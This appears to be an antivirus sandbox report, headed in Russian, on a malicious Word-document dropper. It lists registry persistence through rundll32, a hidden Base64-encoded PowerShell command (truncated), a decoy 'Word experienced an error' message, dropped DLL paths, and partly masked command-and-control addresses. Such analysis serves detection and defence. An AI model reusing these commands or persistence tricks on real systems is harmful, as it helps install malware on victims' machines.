Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\migw.lsz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\migw.lsz] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Jwex\migw.lsz",RunDLL'
- 'migw.lsz' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Jwex\migw.lsz",RunDLL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwA...
- %HOMEPATH%\ah4ff1_\kvojc8o\axwi244.dll
- %WINDIR%\syswow64\jwex\migw.lsz
- %HOMEPATH%\ah4ff1_\kvojc8o\axwi244.dll в %WINDIR%\syswow64\jwex\migw.lsz
- '19#.#7.160.216':80
- '78.##8.225.105':80
- '50.##6.111.59':8080
- http://co###square.com/standardservices/mnR4/
- http://50.###.111.59:8080/9054jg97emv7/ via 50.##6.111.59
- DNS ASK co###square.com
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AH...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Ah4ff1_\Kvojc8o\Axwi244.dll #1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Jwex\migw.lsz",RunDLL